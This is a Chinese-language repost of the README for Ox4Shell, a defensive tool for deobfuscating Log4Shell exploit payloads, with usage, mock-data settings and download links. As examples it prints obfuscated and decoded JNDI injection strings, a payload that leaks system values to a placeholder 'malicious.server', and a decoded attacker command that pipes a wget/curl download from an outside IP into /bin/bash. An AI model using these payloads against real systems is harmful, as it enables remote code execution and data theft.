目录导航
Ox4Shell 简介
自 Log4Shell 漏洞 (CVE-2021-44228) 发布以来,创建了许多工具来混淆 Log4Shell 有效负载,使安全工程师的生活成为一场噩梦。
该工具旨在解开经过混淆的 Log4Shell 有效负载的真实内容。
例如,考虑以下经过混淆的有效负载:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

运行 Ox4Shell 后,它会变成一种直观易读的形式:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
此工具还有助于识别和解码 base64 命令。例如,考虑以下混淆的有效负载:
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
运行 Ox4Shell 后,该工具揭示了攻击者的意图:
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
⚠️我们建议Ox4Shell
使用提供的文件 ( -f
) 而不是内联有效负载 ( -p
) 运行,因为某些 shell 环境会转义重要字符,因此会产生不准确的结果。
用法
要简单地运行该工具:
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - 轻松反混淆Log4Shell有效负载
Created by https://oxeye.io
通用:
-h, --help 显示此帮助信息并退出
-d, --debug 调试模式 (默认: False)
-m MOCK, --mock MOCK 替换有效负载中某些值的模拟数据JSON文件的位置(默认值:mock.JSON)
--max-depth MAX_DEPTH
在给定有效负载上执行的最大迭代次数(默认值:150)
--decode-base64 包含base64的负载将被解码(默认值:False)
目标:
选择要在哪个目标有效负载上运行Ox4Shell
-p PAYLOAD, --payload PAYLOAD
一个单独的有效负载去混淆,确保转义'$'符号(默认:None)
-f FILE, --file FILE 包含用换行符分隔的有效负载的文件(默认值:None)
模拟数据
Log4j 库有一些独特的查找功能,允许用户查找环境变量、Java 进程的运行时信息等。此功能使威胁参与者能够探测特定信息,这些信息可以唯一地识别他们所针对的受感染机器。
Ox4Shell 使用该mock.json
文件将常用值插入到某些查找函数中,例如,如果有效负载包含 value ${env:HOME}
,我们可以将其替换为自定义模拟值。
提供的默认模拟数据集是:
{ "hostname": "ip-127.0.0.1", "env": { "aws_profile": "staging", "user": "ubuntu", "pwd": "/opt/", "path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin" }, "sys": { "java.version": "16.0.2", "user.name": "ubuntu" }, "java": { "version": "Java version 16.0.2", "runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation", "vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)", "os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64", "locale": "default locale: en_US, platform encoding: UTF-8", "hw": "processors: 1, architecture: amd64-64" } }
例如,我们可以使用 Ox4Shell 的模拟功能对以下有效负载进行反混淆:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}" ${jndi:ldap://16.0.2.staging.malicious.server/a}
Ox4Shell 下载地址
github.com/ox-eye/Ox4Shell.zip
云中转网盘:
yunzhongzhuan.com/#sharefile=ZbVWqhkX_98224
解压密码:www.ddosi.org
项目地址:
GitHub:
https://github.com/ox-eye/Ox4Shell
转载请注明出处及链接
默认模拟数据集这个怎么用